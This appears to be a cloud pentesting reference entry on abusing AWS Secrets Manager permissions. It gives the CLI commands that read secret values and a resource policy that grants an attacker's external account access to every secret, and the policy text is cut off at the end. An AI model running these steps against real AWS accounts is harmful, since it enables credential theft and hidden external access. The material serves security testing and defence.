secretsmanager:GetSecretValue

An attacker with this permission can get the saved value inside a secret in AWS Secretsmanager.

aws secretsmanager get-secret-value --secret-id <secret_name> # Get value

Potential Impact: Access high sensitive data inside AWS secrets manager service.

Warning

Note that even with the secretsmanager:BatchGetSecretValue permission an atatcker would also need secretsmanager:GetSecretValue to retrieve the sensitive secrets.

secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)

With the previous permissions it's possible to give access to other principals/accounts (even external) to access the secret. Note that in order to read secrets encrypted with a KMS key, the user also needs to have access over the KMS key (more info in the KMS Enum page).

aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json

policy.json:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::<attackers_account>:root"
      },
      "Action": "secretsmanager:GetSecretValue",
      "Resource": "*"
    }
  ]
